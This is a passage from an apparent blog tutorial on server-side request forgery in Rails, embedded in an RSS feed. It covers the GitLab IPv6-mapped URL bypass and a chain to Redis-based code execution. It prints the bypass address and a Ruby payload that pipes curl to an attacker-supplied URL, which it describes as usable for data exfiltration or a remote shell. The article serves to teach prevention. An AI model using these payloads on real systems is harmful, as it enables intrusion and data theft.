&lt;strong&gt;Remote Command Execution:&lt;/strong&gt; An attacker can use SSRF to make requests to internal resources that allow command injection. This way attacker can execute arbitrary code on the server.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;It's also worth noting that an attacker can chain multiple SSRF vulnerabilities to achieve a more severe attack, these combinations of attacks can be used for the escalation of privileges or to move laterally within a network. This is called SSRF-Chain, I will show you a real-world example of such a vulnerability below.&lt;/p&gt;

&lt;h3&gt;
  
  
  How SSRF works?
&lt;/h3&gt;

&lt;p&gt;A Server-Side Request Forgery attack happens when an attacker can inject a malicious URL or payload into a vulnerable application. The application then sends a request to the specified resource, which can be an internal or external one, using the server's network connection.&lt;/p&gt;

&lt;p&gt;If the resource is internal, the target receives this request and forwards it to the inernal resource, which processes it like this request was coming from the internal network, potentially bypassing firewall rules or even authentication restrictions.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ffhpi8ein67znqueg3ugw.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ffhpi8ein67znqueg3ugw.png" alt="SSRF Internal"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;If the resource is an external one, controlled by the attacker the request can disclose information to the attacker about the server(i.e.: IP address).&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F8zr5vjou5azgmbvmbnwu.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F8zr5vjou5azgmbvmbnwu.png" alt="SSRF External"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Let's see an example. Imagine a Rails marketplace app for websites. A user can upload screenshots or tick a box to make a screenshot based on the URL. The application uses Cloudflare to prevent Denial of Service(DoS) attacks and for a Web-Application Firewall, so the IP address of the application can't be found in the DNS records. But the application uses the same host to make requests to the sites to get the screenshot, so an attacker can simply enter the URL of a site he controls, and when the request is sent, he can find out the actual IP of the application from the logs of his site.&lt;/p&gt;

&lt;p&gt;Another example would be an application allowing users to specify a URL to fetch content. An attacker could manipulate the input to send a malicious URL that points to an internal Redis database, with a payload to extract data from it. Newer versions of Redis prevent this by aliasing the HTTP Header HOST and POST to QUIT.&lt;/p&gt;

&lt;p&gt;Now let's see a real-world example in a Rails application.&lt;/p&gt;

&lt;p&gt;Gitlab uses an &lt;code&gt;UrlBlocker&lt;/code&gt; class to prevent malicious users from exploiting SSRF via the webhook URL. This class validates the URL and blocks everything which is a local network, but before the 11.5.1 version, they didn't think about an IPv6 format, which maps to IPv4: &lt;code&gt;[0:0:0:0:0:ffff:127.0.0.1]&lt;/code&gt;. Replacing the part of &lt;code&gt;127.0.0.1&lt;/code&gt; to any IP address also worked, and this vulnerability made it possible to send requests to the internal network of a GitLab instance. You can read the issue report here: (&lt;a href="https://gitlab.com/gitlab-org/gitlab-foss/-/issues/53242" rel="noopener noreferrer"&gt;https://gitlab.com/gitlab-org/gitlab-foss/-/issues/53242&lt;/a&gt;&lt;br&gt;
)[&lt;a href="https://gitlab.com/gitlab-org/gitlab-foss/-/issues/53242" rel="noopener noreferrer"&gt;https://gitlab.com/gitlab-org/gitlab-foss/-/issues/53242&lt;/a&gt;]&lt;/p&gt;

&lt;p&gt;Chaining the above vulnerability with another one, which allowed line breaks in the webhook URL, made it possible to reach remote-code execution. The line breaks made it possible to connect to Redis. The researcher who found this dug into the workers and found &lt;code&gt;GitlabShellWorker&lt;/code&gt; with this method:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ruby"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;perform&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;action&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;arg&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;gitlab_shell&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;__send__&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;action&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;arg&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;# rubocop:disable GitlabSecurity/PublicSend&lt;/span&gt;
&lt;span class="k"&gt;end&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;As you can see, this job passes the arguments to &lt;code&gt;__send__&lt;/code&gt;, so a payload like the one below, run with &lt;code&gt;class_eval&lt;/code&gt;, would make it possible to execute code on the server:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ruby"&gt;&lt;code&gt;&lt;span class="nb"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'| curl &amp;lt;URL HERE&amp;gt;'&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;read&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A potential attacker could use curl/wget or whatever is installed on the server to exfiltrate useful information about the host and could find a way to open a remote shell to his machine.&lt;br&gt;
You can read more and see an exploit for this issue on GitHub: &lt;a href="https://github.com/CS4239-U6/gitlab-ssrf" rel="noopener noreferrer"&gt;https://github.com/CS4239-U6/gitlab-ssrf&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;It's important to note that SSRF attacks can be challenging to detect since they often involve legitimate requests being sent to internal or external resources. This makes it important to implement security controls and monitoring to detect and prevent SSRF attacks.&lt;/p&gt;

&lt;h3&gt;
  
  
  Prevention and mitigation
&lt;/h3&gt;

&lt;p&gt;Discuss best practices for preventing SSRF attacks, including input validation, access controls, and network segmentation&lt;/p&gt;

&lt;p&gt;Since it isn't a generic attack, Rails has no built-in protection against SSRF. Preventing it requires a multi-layered approach:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;It's important to validate all user-supplied input and sanitize it before using it for outgoing requests. This can help to prevent attackers from injecting malicious URLs or payloads into the input. Enforce controls with a white-list&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Do not send raw responses to clients. This makes data exfiltration more difficult&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Implement firewall policies or network access control rules that block all traffic by default, only allowing essential intranet traffic through.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Use network segmentation for functionality accessing remote resources.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Monitor your logs for suspicious activities, like requests to internal resources or unexpected responses from internal resources.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Conclusion
&lt;/h3&gt;

&lt;p&gt;SSRF is often underrated, but as you can see from the GitLab example, chaining it with another vulnerability can lead to serious issues.&lt;/p&gt;

&lt;h3&gt;
  
  
  References
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29/" rel="noopener noreferrer"&gt; OWASP Server-Side Request Forgery &lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/CS4239-U6/gitlab-ssrf" rel="noopener noreferrer"&gt;Gitlab SSRF&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>rails</category>
      <category>security</category>
      <category>ssrf</category>
    </item>
  </channel>
</rss>
